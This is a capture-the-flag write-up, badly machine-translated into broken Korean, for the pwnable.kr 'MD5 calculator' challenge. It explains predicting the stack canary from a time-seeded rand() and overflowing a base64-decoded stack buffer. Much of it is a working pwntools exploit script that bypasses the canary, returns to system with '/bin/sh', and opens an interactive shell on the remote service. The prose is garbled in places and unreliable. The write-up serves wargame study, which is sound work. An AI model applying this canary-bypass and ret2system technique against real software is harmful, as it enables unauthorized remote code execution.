stack canary 의 pwnbale. kr MD5 calculator
5334 단어 역방향 분석
Download : http://pwnable.kr/bin/hash hint : this service shares the same machine with pwnable.kr web service
Running at : nc pwnable.kr 9002
프로그램의 실행:
주 함수 어 셈 블 리
위의 그림 의 땅 10 줄 은 현재 시간 스탬프 를 가 져 오고 v3 에 값 을 부여 하 는 것 과 같 습 니 다.11 줄 에서 v3 를 매개 변수 (랜 덤 피 드) 로 srand 함수 에 전송 하면 그 다음 에 rand 함 수 를 호출 하 는 작업 은 이 설정 한 랜 덤 피 드 에 따라 랜 덤 수 를 생 성 합 니 다.주의해 야 할 것 은 srand 함수 에 같은 seed 가 들 어 오 면 나중에 rand 함 수 를 여러 번 호출 할 때 발생 하 는 난수 서열 이 같 습 니 다.
my_hash () 함수 어 셈 블 리
위의 그림 과 같이 모두 8 번 rand 함 수 를 호출 하 였 습 니 다.그리고 그들 을 창고 에서 v2 를 시작 주소 로 하 는 곳 에 저장 했다.이렇게 되면 같은 시간 스탬프 를 사용 하여 랜 덤 피 드 로 srand 함수 에 들 어 갑 니 다.그러면 v10 의 값 을 역 출시 할 수 있다.main 함수 와 호출 된 하위 함 수 는 실행 을 통 해readgsdword 가 만 든 canary 는 같 습 니 다.캐 너 리 는 자주 바 뀌 지만
다음은 프로 세 스 를 중점적으로 분석 할 수 있 습 니 다.hash 함수
4. 567915. 프로그램 에 모두 두 개의 입력 을 요구 하 는 곳 이 있 습 니 다.첫 번 째 부분 은 captcha 를 입력 하고 두 번 째 부분 은 base 64 인 코딩 을 거 친 문자열 을 입력 합 니 다.위의 그림 15 줄 에서 알 수 있 듯 이 프로그램 은 디 코딩 을 한 후에 스 택 에 저 장 된 512 바이트 가 분 배 된 곳 입 니 다.전역 변수 gbuf 는 모두 1024 바이트 가 있 습 니 다. 즉, 결과 base 64 인 코딩 후의 문자열 의 최대 길 이 는 1024 입 니 다.그러면 문자열 의 길 이 를 len 이 라 고 가정 하고 base 64 인 코딩 을 기록 한 후에 생 성 된 문자열 의 길 이 는 len / 3 * 4 입 니 다.그래서 결과 base 64 인 코딩 을 하기 전에 이론 적 으로 우리 가 창고 에 입력 할 수 있 는 크기 는 1024 / 4 * 3 = 768 바이트 이다.스 택 에 저 장 된 것 은 디 코딩 후의 것, 즉 인 코딩 전의 문자열 에 해당 하기 때 문 입 니 다.그래서 스 택 유출 을 할 수 있 습 니 다.그러나 canary 보호 가 존재 하기 때문에 우 리 는 canary 의 구체 적 인 값 을 찾 은 다음 에 payload 의 대응 위치 에서 같은 canary 에 들 어 가 려 면 stack canary 체 제 를 속 일 수 있 습 니 다.
그래서 구조의 payload 는:
payload = 'A'.encode('ascii') * 512 + p32(canary) + 'A'.encode('ascii') * 12 + p32(plt_system) + p32(0x0000000) + p32(0x0804B0E0 + 720) # 540
그 중 0x0804B0E 0 은 전역 변수 gbuf 주소.payload 가 540 바이트 이기 때 문 입 니 다.540 / 3 * 4 = 720. 그래서 문자열 '/ bin / sh \ \ 0' 은 0x0804B0E 0 과 저장 해 야 합 니 다.다음은 시스템 의 매개 변수 로 시스템 에 전 송 됩 니 다.
from zio3 import p32
from pwn import *
# elf = ELF('./hash')
# plt_system = elf.plt['system']
plt_system = 0x08048880
p = remote('pwnable.kr',9002)
# p = process('./hash')
t = int(time.time())
print(p.recvline())
temp_recv = p.recvline()
print(temp_recv)
capcha = re.search(': [^
]+', temp_recv.decode('ascii')).group(0)[2:]
print('capcha = ',capcha)
p.sendline(capcha)
print('output:',p.recvline())
print(p.recvline())
canary = '0x' + os.popen('./canary {} {}'.format(str(t), capcha)).read() # canary C
print('canary:',canary)
canary = int(canary, 16) #
payload = 'A'.encode('ascii') * 512 + p32(canary) + 'A'.encode('ascii') * 12 + p32(plt_system) + p32(0x0000000) + p32(0x0804B0E0 + 720) # 540
print(len(b64e(payload)))
print(b64e(payload)+'/bin/sh\0')
p.sendline(b64e(payload) + '/bin/sh\0')
p.interactive()
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
stack canary 의 pwnbale. kr MD5 calculator위의 그림 의 땅 10 줄 은 현재 시간 스탬프 를 가 져 오고 v3 에 값 을 부여 하 는 것 과 같 습 니 다.11 줄 에서 v3 를 매개 변수 (랜 덤 피 드) 로 srand 함수 에 전송 하면 그 다음 에 r...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.